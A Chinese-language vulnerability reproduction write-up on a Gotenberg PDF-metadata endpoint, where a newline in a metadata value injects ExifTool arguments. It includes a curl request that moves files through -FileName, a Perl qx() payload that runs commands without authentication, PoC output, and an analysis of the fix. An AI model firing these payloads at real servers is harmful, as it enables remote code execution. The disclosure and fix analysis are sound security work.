CVE-2026-40281漏洞复现记录

admin 2026-11-18 01:52:17 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

CVE-2026-40281漏洞复现记录

蚁景网安

2026年11月13日 17:35
湖南

去阅读

以下文章来源于蚁景网络安全
,作者Luc1dkilL

蚁景网络安全
.

致力于为你带来更实用的网络安全技术内容!

漏洞概览

Gotenberg 是一个基于 Docker 的无状态 API 服务,广泛用于将 Office 文档、HTML、Markdown 等格式转换为 PDF。它的 PDF 元数据读写功能通过命令行工具 ExifTool 实现,而这个接口中的一个\"值未过滤换行符\"的疏漏,让攻击者可以把任意参数注入到 ExifTool 的命令行中,最终借助 ExifTool 的 Perl 表达式特性实现 RCE。

值得注意的是,这并非该接口的第一个漏洞:早前的 CVE-2026-42589 是元数据键名(key)注入,8.30.1 版本为此加入了危险 tag 名过滤;而本漏洞(CVE-2026-40281)则是元数据值(value)中的换行符注入,恰好绕过了上一轮针对键名的修复。

环境搭建

使用 vulhub 环境(Gotenberg 8.30.1):

git clone 后进入 gotenberg/CVE-2026-40281 目录
docker compose up -d

服务启动后访问 http://127.0.0.1:3000/health,返回 \"status\":\"up\" 即就绪:

{\"status\":\"up\",\"details\":{\"chromium\":{\"status\":\"up\",\"timestamp\":\"2026-10-08T12:55:16.236911374Z\"},\"libreoffice\":{\"status\":\"up\",\"timestamp\":\"2026-10-08T12:55:16.236869832Z\"}}}

容器内的关键组件版本:

  • • Gotenberg 8.30.1(Go 实现)
  • • go-exiftool v1.10.0(Gotenberg 调用 ExifTool 所用的 Go 封装库)
  • • ExifTool 13.25(Perl 5.40.1)

漏洞原理分析

1. 入口:元数据写入接口

POST /forms/pdfengines/metadata/write 接收一个 PDF 文件和一个 metadata 表单字段(JSON 对象),把元数据写入 PDF 后返回处理过的文件。

路由定义在 pkg/modules/pdfengines/routes.go:1022:

// writeMetadataRoute returns an [api.Route] which can write metadata into PDFs.
funcwriteMetadataRoute(engine gotenberg.PdfEngine) api.Route {
    return api.Route{
        Method:      http.MethodPost,
        Path:        \"/forms/pdfengines/metadata/write\",
        IsMultipart: true,
        Handler: func(c echo.Context)error {
            ctx := c.Get(\"context\").(*api.Context)

            form := ctx.FormData()
            metadata := FormDataPdfMetadata(form, true)   // ① 解析 metadata JSON

            var inputPaths []string
            err := form.
                MandatoryPaths([]string{\".pdf\"}, &inputPaths).
                Validate()
            ...
            err = WriteMetadataStub(ctx, engine, metadata, inputPaths)  // ② 写入元数据
            ...
        },
    }
}

FormDataPdfMetadata(routes.go:107)只是把 JSON 反序列化成 map[string]any,对键和值的内容没有任何校验:

func FormDataPdfMetadata(form *api.FormData, mandatory bool)map[string]any {
    var metadata map[string]any

    metadataFunc := func(value string)error {
        iflen(value) > 0 {
            err := json.Unmarshal([]byte(value), &metadata)
            ...
        }
        returnnil
    }
    ...
}

2. Gotenberg 侧:只防了\"键名\",没防\"值\"

WriteMetadataStub 最终调用 ExifTool 引擎的 WriteMetadata,位于 pkg/modules/exiftool/exiftool.go:205。8.30.1 版本的实现里可以看到上一轮修复留下的防御——一个针对键名的黑名单过滤:

// Filter user-supplied metadata to prevent ExifTool pseudo-tags from
// triggering dangerous side effects like file renames, moves, or link
// creation. Comparison is case-insensitive because ExifTool processes
// tag names case-insensitively.
// See https://exiftool.org/TagNames/Extra.html.
dangerousTags := []string{
    \"FileName\",  // Writing this triggers a file rename in ExifTool
    \"Directory\", // Writing this triggers a file move in ExifTool
    \"HardLink\",  // Writing this creates a hard link in ExifTool
    \"SymLink\",   // Writing this creates a symbolic link in ExifTool
}
for key := range metadata {
    for _, tag := range dangerousTags {
        if strings.EqualFold(key, tag) {
            delete(metadata, key)
        }
    }
}

for key, value := range metadata {
    switch val := value.(type) {
    casestring:
        fileMetadata[0].SetString(key, val)   // ← 值原样传入,未过滤换行符
    ...

这段代码防住了 {\"FileName\":\"...\"} 这类直接把伪标签(pseudo-tag)当键名写入的攻击(即 CVE-2026-42589 的利用方式),但 SetString(key, val) 中的值 val 被原样传递——包括换行符 \。这就是本漏洞的成因。

3. 底层:go-exiftool 的\"按行传参\"协议

Gotenberg 通过 go-exiftool 库与 ExifTool 交互。这个库没有为每次写操作单独起进程,而是维持一个常驻的 ExifTool 进程,使用 ExifTool 的 argfiles 模式(exiftool.go:20):

var initArgs = []string{\"-stay_open\", \"True\", \"-@\", \"-\"}

-@ - 的含义是\"从 stdin 读取参数文件\",每一行就是一个独立的命令行参数,-stay_open True 让进程读完一批参数后继续等待下一批。写入时(exiftool.go:214 的 WriteMetadata):

for k, v := range md.Fields {
    switch v.(type) {
    casenil:
        fmt.Fprintln(e.stdin, \"-\"+k+\"=\")
    default:
        strTab, err := md.GetStrings(k)
        ...
        for _, str := range strTab {
            // TODO: support writing an empty string via '^='
            fmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str)   // ← 一个 \"-Tag=值\" 占一行
        }
    }
}

fmt.Fprintln(e.stdin, md.File)      // 目标文件
fmt.Fprintln(e.stdin, executeArg)   // \"-execute\":执行本批参数

fmt.Fprintln(e.stdin, \"-\"+k+\"=\"+str) 把 -Title=值 作为一个整体写入一行。如果 str 中含有 \,这一个\"逻辑参数\"就会被拆成两行——也就是两个独立的 ExifTool 参数。

4. 注入链完整梳理

HTTP 请求 metadata={\"Title\":\"test\
-FileName=/tmp/inject_proof\"}
    │
    ▼ json.Unmarshal(\
 转义还原为真实换行符)
map[string]any{\"Title\": \"test\
-FileName=/tmp/inject_proof\"}
    │
    ▼ 键名黑名单检查:Title 不在黑名单 → 通过
    │
    ▼ SetString(\"Title\", \"test\
-FileName=/tmp/inject_proof\")
    │
    ▼ fmt.Fprintln(stdin, \"-Title=test\
-FileName=/tmp/inject_proof\")
stdin 实际内容(两行 = 两个参数):
    -Title=test
    -FileName=/tmp/inject_proof        ← 注入的参数
    │
    ▼ ExifTool argfiles 协议逐行解释
exiftool ... -overwrite_original -Title=test -FileName=/tmp/inject_proof <PDF路径> -execute

ExifTool 收到 -FileName=/tmp/inject_proof 后,会把正在处理的 PDF 重命名/移动到该路径——这是 ExifTool 的官方特性(FileName 是可写的\"文件系统伪标签\"),却被攻击者用来操纵服务器文件。

漏洞复现

复现一:参数注入(-FileName 文件操纵)

先离线生成一个最小合法 PDF(poc.py 自带构建逻辑):

python poc.py -o test.pdf

然后在 Title 值中注入换行符和 -FileName 参数:

curl -s -w '\
HTTP %{http_code}\
' \\
    -F '[email protected];type=application/pdf' \\
    --form-string 'metadata={\"Title\":\"test\
-FileName=/tmp/inject_proof\"}' \\
    http://127.0.0.1:3000/forms/pdfengines/metadata/write

注意 curl 的 --form-string 会把字面量 \(反斜杠 + n)原样发送,服务端 json.Unmarshal 将其还原为真实换行符。

漏洞版本的返回:

Not Found
HTTP 404

返回 404 不是因为请求被拒绝,而是因为注入的 -FileName 参数已经把处理完的 PDF 移走了,Gotenberg 找不到输出文件。进入容器验证:

$ docker compose exec web ls -l /tmp/inject_proof
-rw-r--r-- 1 gotenberg gotenberg 3582 Oct  8 13:02 /tmp/inject_proof

文件确实存在,参数注入成功:

复现二:从参数注入到 RCE

单纯的参数注入已经能操纵文件(改名/移动/软硬链接),但要拿命令执行,需要请出 ExifTool 更危险的特性——Perl 表达式求值。

ExifTool 的 -TAG<值 语法表示\"从表达式取值写入 TAG\"(区别于 -TAG=值 的直接赋值)。其中支持\"高级格式化\"(advanced formatting)语法 ${TAG;表达式}:取 TAG 的当前值赋给 $_,执行分号后的任意 Perl 表达式,结果作为新值写回。qx() 是 Perl 的命令执行运算符(等价于反引号)。

于是构造 payload:

{\"Title\":\"x\
-Title<${PDFVersion;$_=qx(id)}\"}

注入后 ExifTool 实际收到的参数:

-Title=x                                  ← 正常参数,占位
-Title<${PDFVersion;$_=qx(id)}            ← 注入参数

第二个参数的执行逻辑:读取 PDFVersion 标签(任何合法 PDF 都有此标签,保证表达式被触发)→ 在 Perl 中执行 qx(id) → 命令输出覆盖 $_ → 写入 Title。命令的输出就这样被写进了 PDF 元数据。

而写入接口会在 HTTP 响应中返回处理后的 PDF,再把它提交给 /forms/pdfengines/metadata/read 读出 Title,即可拿到命令回显。poc.py 把这两步串了起来:

$ python poc.py -u http://127.0.0.1:3000 -c id
[*] Target: http://127.0.0.1:3000
[*] Command to execute on the target: id
[+] Metadata written (HTTP 200), reading back the Title of the returned PDF
[+] Command output:
    uid=1001(gotenberg) gid=1001(gotenberg) groups=1001(gotenberg),0(root)

$ python poc.py -u http://127.0.0.1:3000 -c \"whoami; hostname; uname -r\"
[*] Target: http://127.0.0.1:3000
[*] Command to execute on the target: whoami; hostname; uname -r
[+] Metadata written (HTTP 200), reading back the Title of the returned PDF
[+] Command output:
    gotenberg 6dc17a6e1c7c 6.18.40.1-microsoft-standard-WSL2

命令以容器内的 gotenberg 用户(uid=1001,注意其附加组包含 root)身份执行,输出从返回 PDF 的 Title 元数据中完整回读——无需任何认证的远程代码执行:

除 -TAG<... 重定向语法外,ExifTool 的 -if 参数 同样会执行任意 Perl 表达式(本用于决定是否处理文件),表达式内使用 qx() 或 system() 也能达到同样效果。

修复分析(8.31.0)

8.31.0 的修复在 pkg/modules/exiftool/exiftool.go 中加入了三道防线,直击注入的根源——控制字符:

// safeKeyPattern matches legitimate ExifTool tag names: alphanumeric,
// hyphens, underscores, colons, and periods. Rejects control characters
// (especially \
) that would inject stdin arguments via go-exiftool's
// line-based protocol.
var safeKeyPattern = regexp.MustCompile(`^[a-zA-Z0-9\\-_.:]+$`)

// validateMetadataValue rejects metadata values containing characters that
// could inject ExifTool stdin arguments. go-exiftool writes each key/value
// pair as a single line via fmt.Fprintln(stdin, \"-\"+k+\"=\"+str), so a
// newline in the value splits into a second stdin line that ExifTool
// interprets as an additional argument. ... The same applies to carriage
// returns and NUL.
funcvalidateMetadataValue(key, value string)error {
    if strings.ContainsAny(value, \"\
\\r\\x00\") {
        return fmt.Errorf(\"... invalid metadata value for key %q (contains control character): %w\",
            key, gotenberg.ErrPdfEngineMetadataValueNotSupported)
    }
    returnnil
}

写入路径上的每一处赋值都会调用校验:

for key, value := range metadata {
    switch val := value.(type) {
    case string:
        if err = validateMetadataValue(key, val); err != nil {   // ← 新增
            ...
            return err
        }
        fileMetadata[0].SetString(key, val)
    case []string:
        for _, s := range val {
            if err = validateMetadataValue(key, s); err != nil { // ← 新增
                ...

键名则从\"黑名单\"升级为白名单(safeKeyPattern),只有字母、数字、-_.: 可以出现在键名中;同时黑名单补充了 FilePermissions(防 chmod),并在比较前剥离 ExifTool 的组名前缀(防止 System:FileName 绕过等价名比较)。

校验失败时错误包装了 gotenberg.ErrPdfEngineMetadataValueNotSupported,pkg/modules/api/middlewares.go:65 会把它映射为 HTTP 400,所以修复版本对同样的攻击载荷返回 400 Bad Request 而不是 404。

在 8.31.0 上重放同样的 payload,请求会在 validateMetadataValue 处被拒绝并返回 HTTP 400(错误信息提示至少一个 PDF 引擎无法处理该元数据),注入的换行符再也无法到达 go-exiftool 的 stdin。

消息称黄仁勋回归尚未进入英伟达董事会议程;腾讯总办号召AI时代再创业;AI演员虚假代言被罚|极客早知道 网络安全文章

消息称黄仁勋回归尚未进入英伟达董事会议程;腾讯总办号召AI时代再创业;AI演员虚假代言被罚|极客早知道

英伟达董事会未考虑黄仁勋回归,腾讯总办号召AI时代再创业,AI演员虚假代言被罚,特斯拉投资30亿欧元扩建德国工厂,AMD完成对WorldLabs的收购,苹果计划2027年春秋两波更新iPhone,阿里发布Qwen4-Max,KTC推出VMAX全感知智能体主机,影石发布彩色墨水屏相纸,AI演员方桃子代言美瞳广告被罚。
评论:0   参与:  0